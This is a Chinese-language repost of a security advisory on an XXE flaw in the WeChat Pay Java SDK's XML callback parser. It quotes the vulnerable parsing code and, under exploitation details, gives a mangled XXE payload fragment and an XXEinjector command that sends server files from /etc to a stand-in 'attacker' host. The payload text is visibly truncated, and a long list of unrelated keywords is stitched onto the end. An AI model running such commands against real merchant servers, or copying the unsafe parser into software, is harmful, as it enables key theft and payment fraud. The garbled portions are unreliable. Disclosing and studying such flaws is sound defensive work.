微信支付SDK存在XXE漏洞
发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,微信支付SDK存在XXE漏洞漏洞信息来源:http://seclists.org/fulldisclosure/2018/Jul/3https://xz.aliyun.com/t/24260x00受影
千家信息网最后更新 2025年01月20日微信支付SDK存在XXE漏洞
微信支付SDK存在XXE漏洞
漏洞信息来源:
http://seclists.org/fulldisclosure/2018/Jul/3
https://xz.aliyun.com/t/2426
0x00受影响版本:
JAVA SDK,WxPayAPI_JAVA_v3,建议使用了该版本的公司进行异常支付排查。
微信在JAVA版本的SDK中提供callback回调功能,用来帮助商家接收异步付款结果,该接口接受XML格式的数据,×××者可以构造恶意的回调数据(XML格式)来窃取商家服务器上的任何信息。一旦×××者获得了关键支付的安全密钥(md5-key和商家信息,将可以直接实现0元支付购买任何商品)
0x01漏洞详情
The SDK in this page: https://pay.weixin.qq.com/wiki/doc/api/jsapi.phpchapter=11_1 Just in java vision:https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip orhttps://drive.google.com/file/d/1AoxfkxD7Kokl0uqILaqTnGAXSUR1o6ud/view(Backup ) README.md in WxPayApi_JAVA_v3.zip,it show more details: notify code example: [ String notifyData = "...."; MyConfig config = new MyConfig(); WXPay wxpay = new WXPay(config);//conver to map Map notifyMap = WXPayUtil.xmlToMap(notifyData); if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {//do business logic } else { } ] WXPayUtil source code [ public static Map xmlToMap(String strXML) throwsException { try { Map data = new HashMap(); /*** not disabled xxe *****/ //start parse DocumentBuilderFactory documentBuilderFactory =DocumentBuilderFactory.newInstance(); DocumentBuilder documentBuilder =documentBuilderFactory.newDocumentBuilder(); InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8")); org.w3c.dom.Document doc = documentBuilder.parse(stream); //end parse doc.getDocumentElement().normalize(); NodeList nodeList = doc.getDocumentElement().getChildNodes(); for (int idx = 0; idx < nodeList.getLength(); ++idx) { Node node = nodeList.item(idx); if (node.getNodeType() == Node.ELEMENT_NODE) { org.w3c.dom.Element element = (org.w3c.dom.Element) node; data.put(element.getNodeName(), element.getTextContent()); } } try { stream.close(); } catch (Exception ex) { // do nothing } return data; } catch (Exception ex) { WXPayUtil.getLogger().warn("Invalid XML, can not convert tomap. Error message: {}. XML content: {}", ex.getMessage(), strXML); throw ex; } }]
0x02利用细节
Post merchant notification url with payload:
找到商家的notify
%xxe;]>data.dtd:">%shell;%upload;or use XXEinjector tool 【https://github.com/enjoiz/XXEinjector】ruby XXEinjector.rb --host=attacker --path=/etc --file=req.txt --sslreq.txt :POST merchant_notification_url HTTP/1.1Host: merchant_notification_url_hostUser-Agent: curl/7.43.0Accept: */*Content-Length: 57Content-Type: application/x-www-form-urlencodedXXEINJECT
支付
商家
漏洞
信息
版本
数据
格式
安全
公司
关键
功能
商品
密钥
建议
得了
恶意
接口
服务器
来源
细节
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
IP网络技术及应用答案
网络安全知识问卷调查新闻稿
数据库把查询的结果作为新表
工业网络技术专业招生
网络安全法适用哪些公司
燃气基础数据库
三脚猫网络技术
网络安全性龙头股
服务器面板管理密码忘了
计算机网络技术大全
中国网络安全行业全景图第九版
上海支付宝扫码点餐软件开发
厦门诚毅技术学校网络技术
服务器带宽成本是什么意思
农业信息化技术 数据库
数据库基础与应用的业务处理题
如何用dos进去数据库
保护网络安全台词
机柜服务器支架
网游服务器ip
ei数据库怎样下载
有赞科技互联网营销
服务器安全检查清单
淮安智能化网络技术来电咨询
SCV数据库去哪sousuo
ais 数据库
网络安全风险应对处置预案
山东绿萝互联网科技公司
工行软件开发中心在哪
江苏pdu服务器电源特点